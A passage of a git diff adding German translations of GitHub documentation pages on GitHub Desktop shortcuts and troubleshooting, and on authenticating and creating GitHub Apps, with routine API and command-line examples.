+|<kbd>STRG</kbd>+<kbd>UMSCHALT</kbd>+<kbd>A</kbd> | Repository in Ihrem bevorzugten Editor-Tool öffnen
+|<kbd>STRG</kbd>+<kbd>I</kbd> | Ein „Issue“ (Problemticket) auf {% data variables.product.prodname_dotcom %} erstellen
+
+## Branches
+
+| Tastenkombination | Beschreibung
+|-----------|------------
+|<kbd>STRG</kbd>+<kbd>1</kbd> | Alle Ihre Änderungen vor dem Committen anzeigen
+|<kbd>STRG</kbd>+<kbd>2</kbd> | Commit-Verlauf anzeigen
+|<kbd>STRG</kbd>+<kbd>B</kbd> | Alle Ihre Branches anzeigen
+|<kbd>STRG</kbd>+<kbd>G</kbd> | Zum Commit-Zusammenfassungsfeld navigieren
+|<kbd>STRG</kbd>+<kbd>EINGABETASTE</kbd> | Committen von Änderungen, wenn das Zusammenfassungs- oder Beschreibungsfeld aktiv ist
+|<kbd>LeerZchn</kbd>| Auswählen oder Aufheben der Auswahl aller markierten Dateien
+|<kbd>STRG</kbd>+<kbd>UMSCHALT</kbd>+<kbd>N</kbd> | Neuen Branch erstellen
+|<kbd>STRG</kbd>+<kbd>UMSCHALT</kbd>+<kbd>R</kbd> | Aktuellen Branch umbenennen
+|<kbd>STRG</kbd>+<kbd>UMSCHALT</kbd>+<kbd>D</kbd> | Aktuellen Branch löschen
+|<kbd>STRG</kbd>+<kbd>UMSCHALT</kbd>+<kbd>U</kbd> | Über Standardbranch aktualisieren
+|<kbd>STRG</kbd>+<kbd>UMSCHALT</kbd>+<kbd>B</kbd> | Mit einem vorhandenen Branch vergleichen
+|<kbd>STRG</kbd>+<kbd>UMSCHALT</kbd>+<kbd>M</kbd> | In aktuellen Branch mergen
+|<kbd>STRG</kbd>+<kbd>H</kbd> | Gestashte Änderungen anzeigen oder ausblenden
+|<kbd>STRG</kbd>+<kbd>UMSCHALT</kbd>+<kbd>C</kbd> | Branches auf {% data variables.product.prodname_dotcom %} vergleichen
+|<kbd>STRG</kbd>+<kbd>R</kbd> | Aktuellen Pull Request auf {% data variables.product.prodname_dotcom %} anzeigen
+
+{% endwindows %}
diff --git a/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/overview/launching-github-desktop-from-the-command-line.md b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/overview/launching-github-desktop-from-the-command-line.md
new file mode 100644
index 0000000000..75104c0200
--- /dev/null
+++ b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/overview/launching-github-desktop-from-the-command-line.md
@@ -0,0 +1,53 @@
+---
+title: GitHub Desktop an der Befehlszeile starten
+shortTitle: Launching from the command line
+intro: Du kannst GitHub Desktop an der Befehlszeile starten.
+redirect_from:
+  - /desktop/getting-started-with-github-desktop/launching-github-desktop-from-the-command-line
+  - /desktop/installing-and-configuring-github-desktop/launching-github-desktop-from-the-command-line
+versions:
+  fpt: '*'
+ms.openlocfilehash: f1624bb5266183d09804d43cf0b04db580231957
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145105235'
+---
+{% mac %}
+
+1. Wähle auf der Menüleiste das **{% data variables.product.prodname_desktop %}** -Menü aus, und klicke dann auf **Befehlszeilentool installieren**.
+![Option „Befehlszeilentool installieren“ im {% data variables.product.prodname_desktop %}-Dropdownmenü](/assets/images/help/desktop/mac-install-command-line-tool.png)
+2. Öffne das Terminal.
+3. {% data reusables.desktop.launch-desktop-from-command-line %}
+
+  ```shell
+  $ github <em>/path/to/repo</em>
+  ```
+
+  Du kannst auch zu deinem Repositorypfad wechseln und dann `github .` eingeben, um dieses Repository zu öffnen.
+
+  ```shell
+  $ cd <em>/path/to/repo</em>
+  [repo]$ github .
+  ```
+
+{% endmac %}
+
+{% windows %}
+
+1. Öffnen Sie eine Eingabeaufforderung.
+2. {% data reusables.desktop.launch-desktop-from-command-line %}
+
+  ```shell
+  C:\Users\octocat> github <em>path\to\repo</em>
+  ```
+
+ Du kannst auch zu deinem Repositorypfad wechseln und dann `github .` eingeben, um dieses Repository zu öffnen.
+
+  ```shell
+  C:\Users\octocat> cd <em>repo\myrepo</em>
+  C:\Users\octocat\repo\myrepo> github .
+  ```
+
+{% endwindows %}
diff --git a/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/overview/supported-operating-systems.md b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/overview/supported-operating-systems.md
new file mode 100644
index 0000000000..bff8644f44
--- /dev/null
+++ b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/overview/supported-operating-systems.md
@@ -0,0 +1,71 @@
+---
+title: Unterstützte Betriebssysteme
+intro: 'Du kannst {% data variables.product.prodname_desktop %} unter jedem unterstützten Betriebssystem verwenden.'
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /desktop/getting-started-with-github-desktop/supported-operating-systems
+  - /desktop/installing-and-configuring-github-desktop/supported-operating-systems
+versions:
+  fpt: '*'
+shortTitle: Supported OS
+ms.openlocfilehash: 13e148ccf8e254c4e40f9e20ad6c5af083e21d8c
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145105232'
+---
+## Informationen zu unterstützten Betriebssystemen
+
+Die folgenden Betriebssysteme werden für {% data variables.product.prodname_desktop %} unterstützt:
+- {% data variables.desktop.mac-osx-versions %}
+- {% data variables.desktop.windows-versions %}. Du musst über ein 64-Bit-Betriebssystem verfügen, um {% data variables.product.prodname_desktop %} ausführen zu können.
+
+## Behandeln von Problemen unter macOS
+Hier findest du einige Lösungen für den Fall, dass unter macOS Probleme bei der Verwendung von {% data variables.product.prodname_desktop %} auftreten. Weitere Informationen findest du unter [`known-issues`](https://github.com/desktop/desktop/blob/development/docs/known-issues.md).
+
+### Fehler `The username or passphrase you entered is not correct` nach Anmeldung bei deinem Konto
+
+Dieser Fehler kann auftreten, wenn {% data variables.product.prodname_desktop %} nicht auf deine gespeicherten Anmeldeinformationen in Keychain zugreifen kann.
+
+Führe zur Behandlung dieses Fehlers die folgenden Schritte aus:
+
+1. Öffne die App „Keychain Access“.
+2. Klicke mit der rechten Maustaste auf **login**, und klicke anschließend auf **Keychain „login“ sperren**.
+  ![Die Option zum Sperren der Keychain „login“](/assets/images/help/desktop/mac-lock-keychain.png)
+3. Klicke mit der rechten Maustaste auf **login**, und klicke anschließend auf **Keychain „login“ entsperren**. Folge den Anweisungen auf dem Bildschirm, um das Entsperren der Keychain „login“ abzuschließen.
+  ![Die Option zum Entsperren der Keychain „login“](/assets/images/help/desktop/mac-unlock-keychain.png)
+4. Authentifiziere dein Konto erneut für {% data variables.product.prodname_dotcom %} oder {% data variables.product.prodname_enterprise %}.
+
+### Fehler `Could not create temporary directory: Permission denied` nach Überprüfung auf Updates
+
+Dieser Fehler kann durch fehlende Berechtigungen für das Verzeichnis `~/Library/Caches/com.github.GitHubClient.ShipIt` verursacht werden. {% data variables.product.prodname_desktop %} verwendet dieses Verzeichnis zum Erstellen und Entpacken temporärer Dateien für die Anwendungsaktualisierung.
+
+Führe zur Behandlung dieses Fehlers die folgenden Schritte aus:
+
+1. Schließe {% data variables.product.prodname_desktop %}.
+2. Öffne den Finder, und navigiere zu `~/Library/Caches/`.
+3. Klicke mit der rechten Maustaste auf `com.github.GitHubClient.ShipIt`, und klicke anschließend auf **Informationen abrufen**.
+4. Klicke auf den Pfeil links neben „Freigabe und Berechtigungen“.
+5. Wenn rechts neben deinem Benutzerkonto nicht die Berechtigung zum Lesen und Schreiben angezeigt wird, klicke auf den Text und anschließend auf **Lesen und Schreiben**.
+  ![Die Optionen für Freigabe und Berechtigungen](/assets/images/help/desktop/mac-adjust-permissions.png)
+6. Öffne {% data variables.product.prodname_desktop %}, und überprüfe, ob Updates vorhanden sind.
+
+## Behandeln von Problemen unter Windows
+Hier findest du einige Lösungen für den Fall, dass unter Windows Probleme bei der Verwendung von {% data variables.product.prodname_desktop %} auftreten. Weitere Informationen findest du unter [`known-issues`](https://github.com/desktop/desktop/blob/development/docs/known-issues.md).
+
+### `The revocation function was unable to check revocation for the certificate.` Fehler
+
+Dieser Fehler kann auftreten, wenn du {% data variables.product.prodname_desktop %} in einem Unternehmensnetzwerk verwendest, in dem Windows den Sperrstatus eines Zertifikats nicht überprüfen kann.
+
+Wende dich zur Problembehandlung an deinen Systemadministrator.
+
+### Fehler `git clone failed` beim Klonen eines mit Ordnerumleitung konfigurierten Repositorys
+
+Mit Ordnerumleitung konfigurierte Repositorys werden von {% data variables.product.prodname_desktop %} nicht unterstützt.
+
+### `cygheap base mismatch detected` Fehler
+
+Dieser Fehler kann auftreten, wenn die obligatorische zufällige Anordnung des Adressraumlayouts (Address Space Layout Randomization, ASLR) aktiviert ist. Das Aktivieren der obligatorischen ASLR wirkt sich auf die MSYS2-Kernbibliothek aus, die von {% data variables.product.prodname_desktop %} zum Emulieren von Prozessforking verwendet wird.
+
+Deaktiviere zur Behandlung dieses Fehlers entweder die obligatorische ASLR, oder lasse explizit alle ausführbaren Dateien unter `<Git>\usr\bin` zu, die von MSYS2 abhängig sind.
diff --git a/translations/de-DE/content/developers/apps/building-github-apps/authenticating-with-github-apps.md b/translations/de-DE/content/developers/apps/building-github-apps/authenticating-with-github-apps.md
new file mode 100644
index 0000000000..a8274a92fa
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/building-github-apps/authenticating-with-github-apps.md
@@ -0,0 +1,177 @@
+---
+title: Authenticating with GitHub Apps
+intro: '{% data reusables.shortdesc.authenticating_with_github_apps %}'
+redirect_from:
+  - /apps/building-integrations/setting-up-and-registering-github-apps/about-authentication-options-for-github-apps
+  - /apps/building-github-apps/authentication-options-for-github-apps
+  - /apps/building-github-apps/authenticating-with-github-apps
+  - /developers/apps/authenticating-with-github-apps
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub Apps
+shortTitle: Authentication
+---
+
+
+## Generating a private key
+
+After you create a GitHub App, you'll need to generate one or more private keys. You'll use the private key to sign access token requests.
+
+You can create multiple private keys and rotate them to prevent downtime if a key is compromised or lost. To verify that a private key matches a public key, see [Verifying private keys](#verifying-private-keys).
+
+To generate a private key:
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.developer_settings %}
+{% data reusables.user-settings.github_apps %}
+{% data reusables.user-settings.modify_github_app %}
+5. In "Private keys", click **Generate a private key**.
+![Generate private key](/assets/images/github-apps/github_apps_generate_private_keys.png)
+6. You will see a private key in PEM format downloaded to your computer. Make sure to store this file because GitHub only stores the public portion of the key.
+
+{% note %}
+
+**Note:** If you're using a library that requires a specific file format, the PEM file you download will be in `PKCS#1 RSAPrivateKey` format.
+
+{% endnote %}
+
+## Verifying private keys
+{% data variables.product.product_name %} generates a fingerprint for each private and public key pair using the SHA-256 hash function. You can verify that your private key matches the public key stored on {% data variables.product.product_name %} by generating the fingerprint of your private key and comparing it to the fingerprint shown on {% data variables.product.product_name %}.
+
+To verify a private key:
+
+1. Find the fingerprint for the private and public key pair you want to verify in the "Private keys" section of your {% data variables.product.prodname_github_app %}'s developer settings page. For more information, see [Generating a private key](#generating-a-private-key).
+![Private key fingerprint](/assets/images/github-apps/github_apps_private_key_fingerprint.png)
+2. Generate the fingerprint of your private key (PEM) locally by using the following command:
+    ```shell
+    $ openssl rsa -in PATH_TO_PEM_FILE -pubout -outform DER | openssl sha256 -binary | openssl base64
+    ```
+3. Compare the results of the locally generated fingerprint to the fingerprint you see in {% data variables.product.product_name %}.
+
+## Deleting private keys
+You can remove a lost or compromised private key by deleting it, but you must have at least one private key. When you only have one key, you will need to generate a new one before deleting the old one.
+![Deleting last private key](/assets/images/github-apps/github_apps_delete_key.png)
+
+## Authenticating as a {% data variables.product.prodname_github_app %}
+
+Authenticating as a {% data variables.product.prodname_github_app %} lets you do a couple of things:
+
+* You can retrieve high-level management information about your {% data variables.product.prodname_github_app %}.
+* You can request access tokens for an installation of the app.
+
+To authenticate as a {% data variables.product.prodname_github_app %}, [generate a private key](#generating-a-private-key) in PEM format and download it to your local machine. You'll use this key to sign a [JSON Web Token (JWT)](https://jwt.io/introduction) and encode it using the `RS256` algorithm. {% data variables.product.product_name %} checks that the request is authenticated by verifying the token with the app's stored public key.
+
+Here's a quick Ruby script you can use to generate a JWT. Note you'll have to run `gem install jwt` before using it.
+
+<a name="jwt-payload"></a>
+```ruby
+require 'openssl'
+require 'jwt'  # https://rubygems.org/gems/jwt
+
+# Private key contents
+private_pem = File.read("YOUR_PATH_TO_PEM")
+private_key = OpenSSL::PKey::RSA.new(private_pem)
+
+# Generate the JWT
+payload = {
+  # issued at time, 60 seconds in the past to allow for clock drift
+  iat: Time.now.to_i - 60,
+  # JWT expiration time (10 minute maximum)
+  exp: Time.now.to_i + (10 * 60),
+  # {% data variables.product.prodname_github_app %}'s identifier
+  iss: "YOUR_APP_ID"
+}
+
+jwt = JWT.encode(payload, private_key, "RS256")
+puts jwt
+```
+
+`YOUR_PATH_TO_PEM` and `YOUR_APP_ID` are the values you must replace. Make sure to enclose the values in double quotes.
+
+Use your {% data variables.product.prodname_github_app %}'s identifier (`YOUR_APP_ID`) as the value for the JWT [iss](https://tools.ietf.org/html/rfc7519#section-4.1.1) (issuer) claim. You can obtain the {% data variables.product.prodname_github_app %} identifier via the initial webhook ping after [creating the app](/apps/building-github-apps/creating-a-github-app/), or at any time from the app settings page in the GitHub.com UI.
+
+After creating the JWT, set it in the `Header` of the API request:
+
+```shell
+$ curl -i -H "Authorization: Bearer YOUR_JWT" -H "Accept: application/vnd.github+json" {% data variables.product.api_url_pre %}/app
+```
+
+`YOUR_JWT` is the value you must replace.
+
+The example above uses the maximum expiration time of 10 minutes, after which the API will start returning a `401` error:
+
+```json
+{
+  "message": "'Expiration' claim ('exp') must be a numeric value representing the future time at which the assertion expires.",
+  "documentation_url": "{% data variables.product.doc_url_pre %}"
+}
+```
+
+You'll need to create a new JWT after the time expires.
+
+## Accessing API endpoints as a {% data variables.product.prodname_github_app %}
+
+For a list of REST API endpoints you can use to get high-level information about a {% data variables.product.prodname_github_app %}, see "[GitHub Apps](/rest/reference/apps)."
+
+## Authenticating as an installation
+
+Authenticating as an installation lets you perform actions in the API for that installation. Before authenticating as an installation, you must create an installation access token. Ensure that you have already installed your GitHub App to at least one repository; it is impossible to create an installation token without a single installation. These installation access tokens are used by {% data variables.product.prodname_github_apps %} to authenticate. For more information, see "[Installing GitHub Apps](/developers/apps/managing-github-apps/installing-github-apps)."
+
+By default, installation access tokens are scoped to all the repositories that an installation can access. You can limit the scope of the installation access token to specific repositories by using the `repository_ids` parameter. See the [Create an installation access token for an app](/rest/reference/apps#create-an-installation-access-token-for-an-app) endpoint for more details. Installation access tokens have the permissions configured by the {% data variables.product.prodname_github_app %} and expire after one hour.
+
+To list the installations for an authenticated app, include the JWT [generated above](#jwt-payload) in the Authorization header in the API request:
+
+```shell
+$ curl -i -X GET \
+-H "Authorization: Bearer YOUR_JWT" \
+-H "Accept: application/vnd.github+json" \
+{% data variables.product.api_url_pre %}/app/installations
+```
+
+The response will include a list of installations where each installation's `id` can be used for creating an installation access token. For more information about the response format, see "[List installations for the authenticated app](/rest/reference/apps#list-installations-for-the-authenticated-app)."
+
+To create an installation access token, include the JWT [generated above](#jwt-payload) in the Authorization header in the API request and replace `:installation_id` with the installation's `id`:
+
+```shell
+$ curl -i -X POST \
+-H "Authorization: Bearer YOUR_JWT" \
+-H "Accept: application/vnd.github+json" \
+{% data variables.product.api_url_pre %}/app/installations/:installation_id/access_tokens
+```
+
+The response will include your installation access token, the expiration date, the token's permissions, and the repositories that the token can access. For more information about the response format, see the [Create an installation access token for an app](/rest/reference/apps#create-an-installation-access-token-for-an-app) endpoint.
+
+To authenticate with an installation access token, include it in the Authorization header in the API request:
+
+```shell
+$ curl -i \
+-H "Authorization: Bearer YOUR_INSTALLATION_ACCESS_TOKEN" \
+-H "Accept: application/vnd.github+json" \
+{% data variables.product.api_url_pre %}/installation/repositories
+```
+
+`YOUR_INSTALLATION_ACCESS_TOKEN` is the value you must replace.
+
+{% note %}
+
+**Note:** {% data reusables.getting-started.bearer-vs-token %}
+
+{% endnote %}
+
+## Accessing API endpoints as an installation
+
+For a list of REST API endpoints that are available for use by {% data variables.product.prodname_github_apps %} using an installation access token, see "[Available Endpoints](/rest/overview/endpoints-available-for-github-apps)."
+
+For a list of endpoints related to installations, see "[Installations](/rest/reference/apps#installations)."
+
+## HTTP-based Git access by an installation
+
+Installations with [permissions](/apps/building-github-apps/setting-permissions-for-github-apps/) on `contents` of a repository, can use their installation access tokens to authenticate for Git access. Use the installation access token as the HTTP password:
+
+```shell
+git clone https://x-access-token:&lt;token&gt;@github.com/owner/repo.git
+```
diff --git a/translations/de-DE/content/developers/apps/building-github-apps/creating-a-custom-badge-for-your-github-app.md b/translations/de-DE/content/developers/apps/building-github-apps/creating-a-custom-badge-for-your-github-app.md
new file mode 100644
index 0000000000..e48fa8462b
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/building-github-apps/creating-a-custom-badge-for-your-github-app.md
@@ -0,0 +1,50 @@
+---
+title: Creating a custom badge for your GitHub App
+intro: '{% data reusables.shortdesc.creating_custom_badges_github_apps %}'
+redirect_from:
+  - /apps/building-github-apps/creating-custom-badges-for-github-apps
+  - /developers/apps/creating-a-custom-badge-for-your-github-app
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub Apps
+shortTitle: Custom badges
+---
+By default, a new GitHub App will have an automatically generated [identicon](https://github.com/blog/1586-identicons).
+An identicon badge looks something like this:
+
+![Identicon](/assets/images/identicon.png)
+
+After you create a GitHub App, you can customize your app's badge by uploading a logo and selecting a background color. A badge is a square logo image inside of a circular badge. You can choose a background color for the badge, which can visually distinguish your app.
+
+Your logo should be a PNG, JPG, or GIF file under 1 MB in size. For the best quality rendering, we recommend an image size of at least 200px x 200px. {% ifversion fpt or ghec %}See "[Tips for logo and badge images](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/#guidelines-for-logos)" for more guidance on customizing badges.{% endif %}
+
+{% ifversion fpt or ghec %}
+
+You can change a custom badge for a GitHub App that already has an approved Marketplace listing by navigating to https://github.com/marketplace/manage.
+
+{% endif %}
+
+To create a custom badge:
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.developer_settings %}
+{% data reusables.user-settings.github_apps %}
+{% data reusables.user-settings.modify_github_app %}
+5. In "Display information", drag-and-drop an image from a local folder or click **Upload a logo** to select an image from your computer.
+![Upload a logo](/assets/images/github-apps/github_apps_upload_logo.png)
+6. Crop your picture. When you're done, click **Set new avatar**.
+![Crop and set logo ](/assets/images/github-apps/github_apps_crop_and_set_avatar.png)
+7. In "Badge background color", type the [hexadecimal color code](http://www.color-hex.com/) of the background color for your badge. {% ifversion fpt or ghec %}**Note:** The "Badge background color" input field will only appear after you upload an application logo.{% endif %}
+![Badge background color](/assets/images/github-apps/github_apps_badge_background_color.png)
+
+{% ifversion fpt or ghec %}
+
+## Next steps
+
+For more information about creating a Marketplace listing for this app, see "[Listing on GitHub Marketplace](/marketplace/listing-on-github-marketplace/)".
+
+{% endif %}
diff --git a/translations/de-DE/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md b/translations/de-DE/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md
new file mode 100644
index 0000000000..b4ad97b3d1
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md
@@ -0,0 +1,207 @@
+---
+title: Erstellen einer GitHub-App aus einem Manifest
+intro: 'Ein GitHub-App-Manifest ist eine vorkonfigurierte GitHub-App, die du für alle Benutzer*innen freigeben kannst, die deine App in ihren persönlichen Repositorys nutzen möchten. Der Manifestflow ermöglicht es Benutzer*innen, schnell eine GitHub-App zu erstellen, zu installieren und zu erweitern, ohne die App zu registrieren oder die Registrierung mit dem gehosteten App-Code zu verbinden.'
+redirect_from:
+  - /apps/building-github-apps/creating-github-apps-from-a-manifest
+  - /developers/apps/creating-a-github-app-from-a-manifest
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub Apps
+shortTitle: App creation manifest flow
+ms.openlocfilehash: 9ff6fa93e0f31de16e6ee2d96f1d7665742151d3
+ms.sourcegitcommit: 6bd8fe6d49214743f82fa2dc71847c241f140c87
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/07/2022
+ms.locfileid: '148135709'
+---
+## Informationen zu Manifesten für GitHub-Apps
+
+Benutzer*innen, die eine GitHub-App aus einem Manifest erstellen möchten, müssen nur einer URL folgen und die App benennen. Das Manifest enthält die Berechtigungen, Ereignisse und die Webhook-URL, die für die automatische Registrierung der App erforderlich sind. Der Manifestflow erstellt die Registrierung der GitHub-App und ruft das Webhookgeheimnis, den privaten Schlüssel (PEM-Datei) und die ID der GitHub-App ab. Die Person, die die App aus dem Manifest erstellt, wird zu ihrem Besitzer und kann die [Konfigurationseinstellungen der App bearbeiten](/apps/managing-github-apps/modifying-a-github-app/), sie löschen oder einer anderen Person auf GitHub übertragen.
+
+Mithilfe von [Probot](https://probot.github.io/) kannst du erste Erfahrungen mit Manifesten für GitHub-Apps sammeln oder eine Beispielimplementierung anzeigen. Weitere Informationen findest du unter [Implementieren des Manifestflows für GitHub-Apps mithilfe von Probot](#using-probot-to-implement-the-github-app-manifest-flow).
+
+In den folgenden Szenarios können Manifeste für GitHub-Apps zum Erstellen von vorkonfigurierten Apps nützlich sein:
+
+* Du möchtest neuen Teammitgliedern den Einstieg in die Entwicklung von GitHub-Apps erleichtern.
+* Du möchtest anderen Personen die Erweiterung einer GitHub-App mithilfe von GitHub-APIs ermöglichen, ohne dass diese die App konfigurieren müssen.
+* Du möchtest Referenzentwürfe für GitHub-Apps erstellen und diese für die GitHub-Community freigeben.
+* Du möchtest sicherstellen, dass die in Entwicklungs- und Produktionsumgebungen bereitgestellten GitHub-Apps dieselbe Konfiguration aufweisen.
+* Du möchtest Bearbeitungen von Konfigurationen einer GitHub-App nachverfolgen.
+
+## Implementieren des Manifestflows für GitHub-Apps
+
+Der Manifestflow für GitHub-Apps verwendet ähnlich wie der [OAuth-Flow](/apps/building-oauth-apps/authorizing-oauth-apps/) einen Handshake-Prozess. Der Flow verwendet ein Manifest zur [Registrierung einer GitHub-App](/apps/building-github-apps/creating-a-github-app/) und erhält einen temporären `code`-Parameter, um den privaten Schlüssel, das Webhookgeheimnis und die ID der App abzurufen.
+
+{% note %}
+
+**Hinweis**: Alle drei Schritte des Manifestflows für GitHub-Apps müssen innerhalb von einer Stunde ausgeführt werden.
+
+{% endnote %}
+
+Führe die folgenden Schritte aus, um den Manifestflow für GitHub-Apps zu implementieren:
+
+1. Leite Personen zu GitHub um, damit diese eine neue GitHub-App erstellen.
+1. GitHub leitet diese Personen zurück zu deiner Website.
+1. Du tauschst den temporären Code zum Abrufen der App-Konfiguration aus.
+
+### 1. Umleiten von Benutzer*innen zu GitHub, damit diese eine neue GitHub-App erstellen
+
+Stelle Personen, die du zum Erstellen einer neuen GitHub-App weiterleiten möchtest, [einen Link](#examples) bereit, der eine `POST`-Anforderung für ein persönliches Konto an `https://github.com/settings/apps/new` bzw. für ein Organisationskonto an `https://github.com/organizations/ORGANIZATION/settings/apps/new` sendet. Ersetze `ORGANIZATION` durch den Namen des Organisationskontos, in dem die App erstellt werden soll.
+
+Stelle die [Manifestparameter für GitHub-Apps](#github-app-manifest-parameters) als JSON-Zeichenfolge in einem Parameter mit dem Namen `manifest` bereit. Für zusätzliche Sicherheit kannst du auch den [Parameter](#parameters) `state` einschließen.
+
+Die Person, die die App erstellt, wird auf eine GitHub-Seite mit einem Eingabefeld umgeleitet, in dem der Name der App, den du im `manifest`-Parameter bereitgestellt hast, bearbeitet werden kann. Enthält der `manifest`-Parameter keinen `name`-Wert, kann in diesem Feld ein beliebiger Name eingetragen werden.
+
+![Erstellen eines Manifests für GitHub-Apps](/assets/images/github-apps/create-github-app-manifest.png)
+
+#### Manifestparameter für GitHub-Apps
+
+ Name | type | BESCHREIBUNG
+-----|------|-------------
+`name` | `string` | Name der GitHub-App.
+`url` | `string` | **Erforderlich.** Homepage deiner GitHub-App.
+`hook_attributes` | `object` | Konfiguration des Webhooks der GitHub-App.
+`redirect_url` | `string` | Vollständige URL, an die Benutzer*innen umgeleitet werden, nachdem sie die Erstellung einer GitHub-App aus einem Manifest initiiert haben.
+`callback_urls` | `array of strings` | Vollständige URL, an die Benutzer*innen nach der Autorisierung einer Installation umgeleitet werden. Du kannst bis zu zehn Rückruf-URLs bereitstellen.
+`setup_url` | `string` | Vollständige URL, an die Benutzer nach der Installation der GitHub-App umgeleitet werden, wenn eine zusätzliche Einrichtung erforderlich ist.
+`description` | `string` | Beschreibung der GitHub-App.
+`public` | `boolean` | Lege diesen Parameter auf `true` fest, wenn deine GitHub-App öffentlich verfügbar sein soll, oder auf `false`, wenn nur der Besitzer der App darauf zugreifen darf.
+`default_events` | `array` | Liste der [Ereignisse](/webhooks/event-payloads), die die GitHub-App abonniert.
+`default_permissions` | `object` | [Berechtigungen](/rest/reference/permissions-required-for-github-apps), die von der GitHub-App benötigt werden. Das Format des Objekts verwendet den Berechtigungsnamen für den Schlüssel (z. B. `issues`) und den Zugriffstyp für den Wert (z. B. `write`).
+
+Das `hook_attributes`-Objekt verfügt über den folgenden Schlüssel:
+
+Name | type | BESCHREIBUNG
+-----|------|-------------
+`url` | `string` | **Erforderlich.** URL des Servers, an den die `POST`-Anforderungen des Webhooks gesendet werden.
+`active` | `boolean` | Stellt Ereignisdetails bereit, wenn dieser Hook ausgelöst wird. Der Standardwert lautet TRUE.
+
+#### Parameter
+
+ Name | type | BESCHREIBUNG
+-----|------|-------------
+`state`| `string` | {% data reusables.apps.state_description %}
+
+#### Beispiele
+
+In diesem Beispiel wird ein Formular auf einer Webseite mit einer Schaltfläche verwendet, die die `POST`-Anforderung für ein persönliches Konto auslöst:
+
+```html
+<form action="https://github.com/settings/apps/new?state=abc123" method="post">
+ Create a GitHub App Manifest: <input type="text" name="manifest" id="manifest"><br>
+ <input type="submit" value="Submit">
+</form>
+
+<script>
+ input = document.getElementById("manifest")
+ input.value = JSON.stringify({
+   "name": "Octoapp",
+   "url": "https://www.example.com",
+   "hook_attributes": {
+     "url": "https://example.com/github/events",
+   },
+   "redirect_url": "https://example.com/redirect",
+   "callback_urls": [
+     "https://example.com/callback"
+   ],
+   "public": true,
+   "default_permissions": {
+     "issues": "write",
+     "checks": "write"
+   },
+   "default_events": [
+     "issues",
+     "issue_comment",
+     "check_suite",
+     "check_run"
+   ]
+ })
+</script>
+```
+
+In diesem Beispiel wird ein Formular auf einer Webseite mit einer Schaltfläche verwendet, die die `POST`-Anforderung für ein Organisationskonto auslöst. Ersetze `ORGANIZATION` durch den Namen des Organisationskontos, in dem du die App erstellen möchtest.
+
+```html
+<form action="https://github.com/organizations/ORGANIZATION/settings/apps/new?state=abc123" method="post">
+ Create a GitHub App Manifest: <input type="text" name="manifest" id="manifest"><br>
+ <input type="submit" value="Submit">
+</form>
+
+<script>
+ input = document.getElementById("manifest")
+ input.value = JSON.stringify({
+   "name": "Octoapp",
+   "url": "https://www.example.com",
+   "hook_attributes": {
+     "url": "https://example.com/github/events",
+   },
+   "redirect_url": "https://example.com/redirect",
+   "callback_urls": [
+     "https://example.com/callback"
+   ],
+   "public": true,
+   "default_permissions": {
+     "issues": "write",
+     "checks": "write"
+   },
+   "default_events": [
+     "issues",
+     "issue_comment",
+     "check_suite",
+     "check_run"
+   ]
+ })
+</script>
+```
+
+### 2. GitHub leitet die Benutzer*innen zurück zu deiner Website
+
+Durch Klicken auf **GitHub-App erstellen** wird die Person von GitHub wieder zu `redirect_url` mit einem temporären `code`-Parameter in einem Codeparameter zurückgeleitet. Beispiel:
+
+    https://example.com/redirect?code=a180b1a3d263c81bc6441d7b990bae27d4c10679
+
+Wenn du einen `state`-Parameter bereitgestellt hast, wird dieser auch in `redirect_url` angezeigt. Beispiel:
+
+    https://example.com/redirect?code=a180b1a3d263c81bc6441d7b990bae27d4c10679&state=abc123
+
+### 3. Austauschen des temporären Codes zum Abrufen der App-Konfiguration
+
+Sende den temporären `code`-Parameter in einer `POST`-Anforderung an den Endpunkt [Erstellen einer GitHub-App aus einem Manifest](/rest/reference/apps#create-a-github-app-from-a-manifest), um den Handshake-Prozess abzuschließen. Die Antwort enthält `id` (die ID der GitHub-App), `pem` (den privaten Schlüssel) und `webhook_secret`. GitHub erstellt automatisch ein Webhookgeheimnis für die App. Du kannst diese Werte in Umgebungsvariablen auf dem Server der App speichern. Verwendet deine App zum Speichern der Umgebungsvariablen z. B. [dotenv](https://github.com/bkeepers/dotenv), speicherst du die Variablen in der `.env`-Datei deiner App.
+
+Dieser Schritt des Manifestflows für GitHub-Apps muss innerhalb von einer Stunde abgeschlossen werden.
+
+{% note %}
+
+**Hinweis**: Dieser Endpunkt weist eine Ratenbegrenzung auf. Weitere Informationen zum Abrufen des Status deiner Ratenbegrenzung findest du unter [Ratenbegrenzungen](/rest/reference/rate-limit).
+
+{% endnote %}
+
+    POST /app-manifests/{code}/conversions
+
+Weitere Informationen zur Antwort des Endpunkts findest du unter [Erstellen einer GitHub-App aus einem Manifest](/rest/reference/apps#create-a-github-app-from-a-manifest).
+
